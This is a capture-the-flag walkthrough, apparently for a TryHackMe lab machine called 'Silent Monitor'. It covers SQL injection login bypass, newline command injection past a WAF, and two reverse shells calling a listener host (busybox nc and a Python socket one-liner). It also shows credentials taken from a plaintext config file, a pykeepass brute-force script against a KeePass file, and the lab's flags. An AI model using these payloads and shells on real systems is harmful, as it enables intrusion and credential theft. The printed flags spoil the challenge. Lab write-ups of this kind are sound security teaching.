Case Studies

Silent Monitor

Flags

User THM{sQli_4nd_cMd_1nj3ct10n_l3D_y0u_h3re!}
Root THM{KDBx_V4ul7_H4s_b33n_cr4ck3d_0peN}

Attack Chain

01SQLi auth bypass (username + password fields)
02Command injection via %0a newline — WAF bypass
03www-data shell → secret.config → sysadmin creds
04SSH as sysadmin → user flag → infrastructure.kdbx
05pykeepass brute (KDBX v4) → password: spring → root creds
06su root → root flag
01 — Recon

Nmap

Standard stealth scan across all ports. Only two services exposed — SSH and a Python web app running on a non-standard port.

bash
sudo nmap -sS -sV -sC 10.48.180.35 -p- -T4
PortService
22OpenSSH 8.9p1 Ubuntu
5050Werkzeug 2.0.2 / Python 3.10.12

Werkzeug on port 5050 immediately suggests a Flask app. Combined with the machine name "Silent Monitor", this looks like an internal network ops panel — exactly the kind of thing someone locks behind a login form and then forgets to parameterize.

02 — Web Recon

Fingerprinting the app

The app lives at http://10.48.180.35:5050. The login panel is at /internal — cute name for an internal tool they clearly didn't want us to find. WAF and rate limiting are active, so brute force is off the table.

WAF blocks common tool signatures and rate-limits requests. Manual, precise payloads only.
03 — Initial Access

SQL Injection — Auth Bypass

The login form at /internal/login was the obvious first target. The classic sanity check: does this thing even sanitize its inputs?

Both the username and password fields are injectable. The payload works in either — or both simultaneously. The backend query was likely something like WHERE username='$u' AND password='$p' — meaning either field can short-circuit the whole condition.
http
POST /internal/login

username=' OR 1=1--
password=anything

# OR inject password field instead:
username=anything
password=' OR 1=1--

# OR hit both at once for maximum commitment:
username=' OR 1=1--
password=' OR 1=1--

Logged in as netops — an operator-level account. Not admin, but enough to reach the health check endpoint that's about to become our best friend.

The "operator" role had access to a diagnostics panel. Always check what low-privilege authenticated users can reach before escalating auth — sometimes the prize is already in front of you.
04 — RCE

Command Injection — WAF Bypass via %0a

The POST /internal/health endpoint takes a target parameter and runs ping -c 2 -W 1 <target>. Classic shell composition vulnerability. The WAF blocks |, ;, &, and spaces — the usual suspects.

What it doesn't block: URL-encoded newlines. Flask decodes %0a before the input ever reaches the WAF regex, so the injected newline creates a second shell command that executes clean.

http — burp raw editor
# Confirm execution
target=127.0.0.1%0awhoami

# Read the config file
target=127.0.0.1%0acat+secret.config

# Reverse shell — busybox nc
target=127.0.0.1%0abusybox+nc+192.168.200.104+7777+-e+/bin/sh

# Or Python if busybox isn't available
target=127.0.0.1%0apython3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect(("192.168.200.104",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
bash — listener
nc -lvnp 7777

Shell lands as www-data. Not root, not even a real user — but enough to read files the web process has access to.

The WAF validated characters but didn't account for URL decoding happening upstream. This is a framework-level issue — Flask decodes the request body before any application-layer filtering. The WAF was checking the encoded string, not the actual value.
05 — Privilege Escalation

www-data → sysadmin

With a shell as www-data, the first instinct is to look at what the web app itself has access to. Config files are a natural starting point — especially in Python apps where credentials often live in .ini or .config files right next to the application.

ini — /opt/netops/secret.config
[backup_agent]
run_as   = sysadmin
password = S3cur3Backup$Acc3ss!

Credentials in plaintext. In a config file. Owned by the web process. Bold strategy.

bash
ssh [email protected]
# password: S3cur3Backup$Acc3ss!

User flag located at the usual spot. Also found ~/backups/infrastructure.kdbx — a KeePass database. Things are getting interesting.

06 — Post Exploitation

KeePass Database — KDBX v4

Exfil the database first:

bash
scp [email protected]:/home/sysadmin/backups/infrastructure.kdbx .
keepass2john fails silently on KDBX v4. The tool was written for v3.1 format — v4 uses Argon2 KDF and a different file structure. If you're getting no output or garbage, check the file header. Use pykeepass instead.

Setting up the brute force environment:

bash — fish shell
python3 -m venv ./venv
source ./venv/bin/activate.fish
pip install pykeepass
python — crack.py
from pykeepass import PyKeePass
from pykeepass.exceptions import CredentialsError

with open("/home/cybermaksx/Downloads/rockyou.txt", "rb") as f:
    for line in f:
        p = line.strip().decode("utf-8", "ignore")
        try:
            PyKeePass("infrastructure.kdbx", password=p)
            print(f"[+] FOUND: {p}")
            break
        except CredentialsError:
            pass
output
[+] FOUND: spring

The sysadmin who runs an internal infrastructure monitoring platform, stores root credentials in KeePass, and locks it with the password spring. Truly a legend of our time.

Dump all entries:

python
from pykeepass import PyKeePass
kp = PyKeePass("infrastructure.kdbx", password="spring")
for e in kp.entries:
    print(e.title, e.username, e.password)
TitleUsernamePassword
Root User Password - SensitiverootS3cur3P4ss0nK33p4ss
Sample Entry #2Michael32112345

Michael321 stays in his lane. Root does not.

07 — Root

Privilege Escalation → root

bash
su root
# password: S3cur3P4ss0nK33p4ss

cat /root/root.txt
# THM{KDBx_V4ul7_H4s_b33n_cr4ck3d_0peN}
Summary

Credentials

UserPassword / MethodSource
netops (web)' OR 1=1--SQLi auth bypass
sysadminS3cur3Backup$Acc3ss!secret.config
KeePassspringrockyou brute (pykeepass)
rootS3cur3P4ss0nK33p4ssKeePass entry

Key Takeaways

The WAF validated raw characters but didn't account for URL decoding happening upstream in Flask — %0a slipped through as a literal newline after decode. Always test encoded variants of blocked characters.
Both form fields were injectable — not just username. Test every input that touches a query, including the one developers assume is "just the password".
KDBX v4 breaks keepass2john. Check the file format before wasting time. pykeepass handles v4 natively and is trivial to script.
Credentials in config files under the web root are a recurring privilege escalation path. /opt/, /var/www/, /srv/ — all worth a thorough read when you land as www-data.